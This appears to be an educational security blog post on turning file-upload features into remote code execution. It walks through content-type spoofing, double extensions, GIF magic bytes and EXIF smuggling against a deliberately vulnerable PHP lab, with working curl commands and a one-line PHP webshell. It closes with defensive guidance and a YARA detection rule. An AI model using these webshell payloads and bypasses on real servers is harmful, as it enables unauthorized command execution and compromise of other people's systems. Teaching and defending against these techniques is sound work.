Introduction
File upload functionality is everywhere: profile pictures, document attachments, CSV imports, support tickets. Whenever a server accepts a file from an untrusted user and stores it inside the web root, there is a chance an attacker can turn that feature into Remote Code Execution (RCE) by uploading a webshell — a script that executes attacker-supplied commands.
In this article you will learn how upload filters work, the four classic bypass primitives (content-type spoofing, double extension, magic bytes, and null-byte/parser tricks), and a full PoC walkthrough against a vulnerable PHP endpoint. Equally important, the Blue Team section shows how to neutralise every one of these techniques.
Legal & ethical disclaimer. Everything below is for education and authorized testing only — your own lab, a CTF, or an engagement with explicit written permission. Uploading a webshell to a system you do not own or are not contracted to test is a crime in most jurisdictions.
How It Works / Background
A secure upload pipeline must validate three independent layers, and a vulnerability appears whenever one of them is trusted alone:
- Extension — the suffix of the filename (
.php,.jpg). Easy to spoof; the last extension is what most web servers map to a handler. - Content-Type (MIME) — the
Content-Typeheader inside themultipart/form-databody. Fully attacker-controlled, so server-side checks that trust it are useless. - Magic bytes — the first few bytes of the file (the "signature"). A JPEG starts with
FF D8 FF, a PNG with89 50 4E 47, a GIF with47 49 46 38(GIF8). Servers often rungetimagesize()orfile(1)against these bytes.
The attacker's goal is to satisfy every check the server actually performs while still placing executable code that the web server will interpret. Whether the upload is exploitable also depends on where the file lands and whether that path is served and executed by a handler (PHP-FPM, mod_php, ASP.NET, etc.).
Prerequisites / Lab Setup
Spin up a deliberately vulnerable PHP target. A quick local lab:
mkdir -p /tmp/upload-lab/uploads && cd /tmp/upload-lab
cat > index.php <<'EOF'
<?php
if ($_FILES) {
$name = basename($_FILES['file']['name']);
// Insecure: trusts client MIME + only blocks the literal ".php"
if ($_FILES['file']['type'] === 'image/jpeg'
&& !preg_match('/\.php$/i', $name)) {
move_uploaded_file($_FILES['file']['tmp_name'], "uploads/$name");
echo "Saved as uploads/$name";
} else { echo "Rejected"; }
}
?>
<form method=post enctype=multipart/form-data>
<input type=file name=file><input type=submit>
</form>
EOF
php -S 127.0.0.1:8000BashTools used: curl, Burp Suite, exiftool, and a PHP webshell. PortSwigger's Web Security Academy also hosts free, legal file upload labs.
Attack Walkthrough / PoC
Step 1 — Baseline a clean upload
curl -s -F 'file=@cat.jpg;type=image/jpeg' http://127.0.0.1:8000/BashThis tells us the allowed MIME (image/jpeg) and confirms files land in /uploads/.
Step 2 — Content-Type spoofing
The server checks $_FILES['file']['type'], which comes straight from the request. With curl we set type= to whatever the server wants while uploading a PHP file. In Burp, intercept the request and change the part's Content-Type: header to image/jpeg.
Step 3 — Double extension
The filter only blocks names ending in .php. Apache historically maps any recognised extension in a multi-dotted name. With a config like AddHandler application/x-httpd-php .php, a file named shell.php.jpg may be parsed as PHP. The reverse — shell.jpg.php — defeats naive "must start as image" checks. We also abuse alternate PHP handler extensions that blocklists forget: .phtml, .php5, .phar, .pht.
Step 4 — Magic bytes
If the server runs getimagesize(), prepend real image bytes so the file is a valid GIF while still containing PHP:
printf 'GIF89a;\n' > shell.php.jpg
cat >> shell.php.jpg <<'EOF'
<?php system($_GET['cmd']); ?>
EOFBashGIF89a is a valid GIF magic header, so getimagesize() succeeds; PHP ignores the leading bytes and runs the tag. You can also smuggle PHP into a real image's EXIF comment so the file passes even strict pixel parsers:
exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg -o shell.php.jpgBashStep 5 — Land the webshell
Combine all three primitives in one request:
curl -s -F 'file=@shell.php.jpg;type=image/jpeg' http://127.0.0.1:8000/BashIf the server (or .htaccess) maps .jpg-suffixed double extensions to PHP, trigger execution:
curl -s 'http://127.0.0.1:8000/uploads/shell.php.jpg?cmd=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)BashFor a more capable foothold, upload a tested webshell such as /usr/share/webshells/php/php-reverse-shell.php (Kali) and catch it with a listener — see Reverse Shells: A Practical Cheat Sheet.
Step 6 — When the upload dir isn't executable
Sometimes uploads are writable but the handler is disabled there. Bypass options:
- Upload a malicious
.htaccessto re-enable PHP in that directory:AddType application/x-httpd-php .jpg. - Path traversal in the filename (
../../shell.php) to escape into an executable directory. - For ASP.NET/IIS, abuse trailing characters or
web.configuploads. This overlaps with broader Local File Inclusion to RCE techniques.
Mermaid Diagram

The diagram shows an attacker defeating MIME, extension, and magic-byte checks so the stored file is executed by the web server, yielding RCE.
Detection & Defense (Blue Team)
Defenders must assume every client-supplied attribute is hostile and validate server-side. Apply these in depth:
- Allowlist, never blocklist. Accept only an explicit set of extensions (
jpg,png,pdf) and reject everything else. Blocklists always miss.phtml,.phar,.php5,.pht,.shtml. - Rename on storage. Generate a server-side random name (e.g., a UUID) and append a single, server-chosen extension. This kills double-extension and path-traversal attacks at once.
- Validate content, not just the header. Use a real type check (
finfo_file()/mime_content_type()in PHP,python-magic, orfile --mime-type) and re-encode images (GDimagecreatefromjpeg()thenimagejpeg()), which strips embedded PHP from EXIF/comment payloads. - Store outside the web root. Serve files through a script that sets
Content-Disposition: attachmentand a forcedContent-Type, so nothing under/uploads/is ever directly executable. - Disable execution in upload dirs. In Apache,
php_admin_flag engine offand deny script handlers; and block.htaccessoverrides withAllowOverride None. In nginx, never add alocation ~ \.php$that covers the upload path. - Detection / hunting: Monitor for newly-written files with script extensions or
GIF89a/<?phpcontent in upload directories using FIM (auditd,inotifywait, Wazuh). YARA rule example to flag PHP webshells in images:
rule php_in_image {
strings:
$magic = { (FF D8 FF | 47 49 46 38) }
$php = "<?php"
condition: $magic at 0 and $php
}YAML- WAF & logging: A WAF (ModSecurity CRS) can flag
multipartbodies containing<?php, and access logs showingGET /uploads/*.jpg?cmd=are a strong IoC. This maps to MITRE ATT&CK T1505.003 (Server Software Component: Web Shell) and T1190 (Exploit Public-Facing Application) — feed those into your detection coverage.
Conclusion
File upload bugs remain one of the most reliable paths to RCE because they sit at the intersection of three weak checks — extension, MIME, and magic bytes — any of which is trivially forged in isolation. Offensively, chaining a GIF89a header, a double extension, and a spoofed Content-Type is often enough to drop a webshell. Defensively, the answer is consistent and cheap: allowlist extensions, rename and re-encode files, store them outside the web root, and disable execution wherever uploads land.
References
- MITRE ATT&CK — T1505.003 Web Shell and T1190
- OWASP — Unrestricted File Upload and the File Upload Cheat Sheet
- PortSwigger Web Security Academy — File upload vulnerabilities
- HackTricks — File Upload



Comments